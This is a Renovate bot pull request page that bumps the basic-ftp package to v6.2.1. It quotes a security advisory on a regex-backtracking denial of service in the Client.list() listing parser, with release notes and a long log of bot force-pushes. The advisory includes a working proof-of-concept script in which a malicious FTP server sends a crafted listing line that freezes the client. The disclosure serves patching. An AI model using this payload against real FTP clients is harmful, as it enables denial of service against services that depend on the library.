Skip to content

chore(deps): update dependency basic-ftp@<5.2.0 to v6 [security] - #6441

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-basic-ftp-5.2.0-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-basic-ftp-5.2.0-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 25, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
basic-ftp@<5.2.0 5.3.1 → 6.2.1 age confidence

basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)

CVE-2026-102990 / GHSA-c475-qrg2-pj4r

More information

Details

Summary

Client.list() parses the server's directory listing with the Unix-style parser in parseListUnix.js. Its RE_LINE regex has two adjacent (\S+(?:\s\S+)*) groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.

The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. parseList() picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.

Proof of concept

npm i basic-ftp && node repro.js:

const net = require("net"), ftp = require("basic-ftp");
const KB = Number(process.env.LINE_KB || 128);
const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!";
const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n";
const server = net.createServer(c => {
  c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = "";
  c.on("data", d => { buf += d; let i;
    while ((i = buf.indexOf("\r\n")) !== -1) {
      const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);
      if (cmd.startsWith("USER")) c.write("331 .\r\n");
      else if (cmd.startsWith("PASS")) c.write("230 .\r\n");
      else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n");
      else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); });
        ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)\r\n`)); }
      else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); }
      else c.write("200 .\r\n"); } });
});
server.listen(0, "127.0.0.1", async () => {
  const client = new ftp.Client(0);
  await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" });
  let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();
  await client.list(); clearInterval(hb);
  console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);
  process.exit(0);
});

Prints list() blocked 39.75s; heartbeats fired: 0, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. maxListingBytes defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.

Impact

One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in Client.list() and rated high. The byte cap added there bounds memory, not the parser's CPU cost.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

patrickjuchli/basic-ftp (basic-ftp@<5.2.0)

v6.2.1

Compare Source

  • Fixed: Protect against excessive CPU use when parsing a directory listing, fixes GHSA-c475-qrg2-pj4r.
  • Fixed: A transfer could time out right after a slow local source or destination stopped holding it up, before the server had a chance to continue.

v6.2.0

Compare Source

  • Changed: Timeout tracking during data transfers now only applies to the server, not a slow local source or destination.
  • Fixed: A failed transfer could report its failure twice and cancel an unrelated command issued afterwards, leaving it without a response.

v6.1.0

Compare Source

  • Changed: Uploading from a local path now throws if the file changes while it's being read, instead of reporting the incomplete upload as successful.

v6.0.2

Compare Source

  • Fixed: Implicit FTPS transfers against servers requiring TLS session reuse failed with "425 ... TLS session of data connection not resumed" on Node.js with the CVE-2026-48934 fix (22.23.0+, 24.17.0+, 26.3.1+).

v6.0.1

Compare Source

  • Fixed: Use and renew TLS 1.3 session tickets for data connections.

v6.0.0

Compare Source

  • Breaking change: This library no longer allows separate transfer hosts by default. This feature is used very rarely by FTP servers anyway and it is highly likely that you don't actually have to change anything in your code. Preventing it by default protects users from FTP bounce attacks. You can still allow separate transfer hosts by using allowSeparateTransferHost: true when instantiating a Client. (Thanks, @​Jvr2022)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot requested a review from a team as a code owner October 25, 2026 02:36
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from de5ab14 to cb758ee Compare October 25, 2026 04:42
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from cb758ee to b48af13 Compare October 25, 2026 10:10
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from b48af13 to 2bbf267 Compare October 25, 2026 12:35
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 2bbf267 to bf6e47b Compare October 25, 2026 17:20
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from bf6e47b to c8c58eb Compare October 25, 2026 21:59
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from c8c58eb to 2795c55 Compare October 26, 2026 02:14
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 2795c55 to ab0f36c Compare October 26, 2026 06:16
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from ab0f36c to 1b695ee Compare October 26, 2026 08:36
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 1b695ee to 56ed3ef Compare October 26, 2026 13:10
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 56ed3ef to ad86484 Compare October 26, 2026 23:46
@alwaysmeticulous

alwaysmeticulous Bot commented Oct 26, 2026 •

Copy link
Copy Markdown

✅ Meticulous spotted 0 visual differences across 14 screens tested: view results.

Meticulous evaluated ~4 hours of user flows against your PR.

Expected differences? Click here. Last updated for commit 24cd7b2 chore(deps): update dependency basic-ftp@<5.2.0 to v6 [security]. This comment will update as new commits are pushed.

@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from ad86484 to 196b8f8 Compare October 27, 2026 03:08
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 196b8f8 to 982bd29 Compare October 27, 2026 06:21
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 982bd29 to 38d193f Compare October 27, 2026 09:44
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 38d193f to 1376ff4 Compare October 27, 2026 16:10
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from e17a9aa to 714bba6 Compare October 28, 2026 06:57
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 714bba6 to 424608a Compare October 28, 2026 09:36
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 424608a to 9d91674 Compare October 28, 2026 16:09
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 9d91674 to 956ebe9 Compare October 28, 2026 19:56
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 956ebe9 to 364154e Compare October 28, 2026 20:58
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 364154e to 58c96f9 Compare October 29, 2026 02:18
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 58c96f9 to 4158370 Compare October 29, 2026 04:41
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 4158370 to 5c7d7a2 Compare October 29, 2026 09:04
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 5c7d7a2 to 469ce3a Compare October 29, 2026 17:28
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 469ce3a to 98a7fd3 Compare October 30, 2026 00:39
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 98a7fd3 to 4f98e52 Compare October 30, 2026 06:07
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 4f98e52 to 42e36fb Compare October 30, 2026 10:01
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-5.2.0-vulnerability branch from 42e36fb to 777c8eb Compare October 30, 2026 14:10

This branch was successfully deployed

1 active deployment
Preview – parca-ui — 24cd7b28 Deployed Oct 30, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants